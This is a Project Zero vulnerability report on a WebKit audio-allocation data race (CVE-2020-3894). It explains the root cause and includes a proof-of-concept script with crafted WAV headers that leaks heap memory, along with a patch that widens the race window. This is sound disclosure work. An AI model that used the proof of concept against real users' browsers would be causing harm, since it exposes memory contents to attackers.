VULNERABILITY DETAILS
Source/WebCore/platform/audio/AudioArray.h:
```
void allocate(Checked<size_t> n)
{
[...]
while (!isAllocationGood) {
// Initially we try to allocate the exact size, but if it's not
aligned
// then we'll have to reallocate and from then on allocate
extra.
static size_t extraAllocationBytes = 0; // *** 1 ***
T* allocation = static_cast<T*>(fastMalloc((initialSize +
extraAllocationBytes).unsafeGet())); // *** 2 ***
if (!allocation)
CRASH();
T* alignedData = alignedAddress(allocation, alignment);
if (alignedData == allocation || extraAllocationBytes ==
alignment) { // *** 3 ***
m_allocation = allocation;
m_alignedData = alignedData;
m_size = n.unsafeGet();
isAllocationGood = true;
zero();
} else {
extraAllocationBytes = alignment; // always allocate extra after
the first alignment failure. // *** 4 ***
fastFree(allocation);
}
}
}
```
`AudioArray::Allocate` uses the static local variable called
`extraAllocationBytes`[1] to store the
size of padding to keep allocations aligned. It's initially set to
zero and gets modified when the
first unaligned allocation occurs. Since the method is called from
multiple threads (for example,
the main thread and the audio decoding thread), a data race can
happen between two threads making an
unaligned allocation. Consider the following scenario:
1. `extraAllocationBytes` is set to zero.
2. The first thread uses it to calculate the total size and creates
an allocation[2].
3. The second thread does the same and fails the check in [3]
because the aligned and unaligned
pointers don't match.
4. The second thread sets `extraAllocationBytes` to
`alignment`[4].
5. The first thread now passes the second condition in [3].
At this point the buffer referenced by `alignedData` is offset
from and less in size than the actual
allocation, so subsequent buffer accesses may read or write
out-of-bounds data.
Since an attacker has only one attempt to win the race after the
process starts, a successful attack
requires a technique that can be used to create multiple web
content processes or restart the
existing one. For example, if the attacker is able to bypass the
pop-up blocker, they can create
multiple tabs hosted by separate processes by passing the
\"noopener\" attribute to `window.open`.
VERSION
WebKit Revision: 254740
The vulnerable code was introduced in 2011
(https://trac.webkit.org/changeset/92408), so the stable
branch should be affected as well.
REPRODUCTION CASE
It's impossible to reproduce the issue with ASan enabled as it
forces the underlying allocator to
always return 16-byte aligned pointers; hence,
`extraAllocationBytes` never gets modified. Instead,
you should run the test case in a regular release build where it
prints some leaked data.
```
<script>
context = new webkitOfflineAudioContext(1, 1, 44100);
header = [0x52, 0x49, 0x46, 0x46, 0x68, 0xac, 0x00, 0x00, 0x57,
0x41, 0x56, 0x45, 0x66, 0x6d,
0x74, 0x20, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x44,
0xac, 0x00, 0x00, 0x44,
0xac, 0x00, 0x00, 0x01, 0x00, 0x08, 0x00, 0x64, 0x61, 0x74, 0x61,
0x44, 0xac, 0x00, 0x00];
wav_big = new Uint8Array(header.length + 14);
wav_big.set(header);
wav_small = new Uint8Array(header.length + 10);
wav_small.set(header);
noop = () => {};
context.decodeAudioData(wav_big.buffer, noop, noop);
buffer = context.createBuffer(wav_small.buffer, false);
document.write(Array.prototype.map.call(
new Uint8Array(buffer.getChannelData(0).buffer, 32),
v => v.toString(16).padStart(2, 0)).join(' '));
</script>
```
The following patch, which makes the race window long enough, is
essential for reproducing the bug
reliably:
```
Index: platform/audio/AudioArray.h
===================================================================
--- platform/audio/AudioArray.h (revision 254740)
+++ platform/audio/AudioArray.h (working copy)
@@ -30,6 +30,7 @@
#define AudioArray_h
#include <string.h>
+#include <unistd.h>
#include <wtf/CheckedArithmetic.h>
#include <wtf/FastMalloc.h>
@@ -72,6 +73,10 @@
CRASH();
T* alignedData = alignedAddress(allocation, alignment);
+ if (initialSize.unsafeGet() == 40) {
+ usleep(1000000);
+ }
+
if (alignedData == allocation || extraAllocationBytes == alignment)
{
m_allocation = allocation;
m_alignedData = alignedData;
```
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
This bug is subject to a 90 day disclosure deadline. After 90
days elapse, the bug report will
become visible to the public. The scheduled disclosure date is
2020-04-19.
Related CVE Numbers: CVE-2020-3894.
Found by:

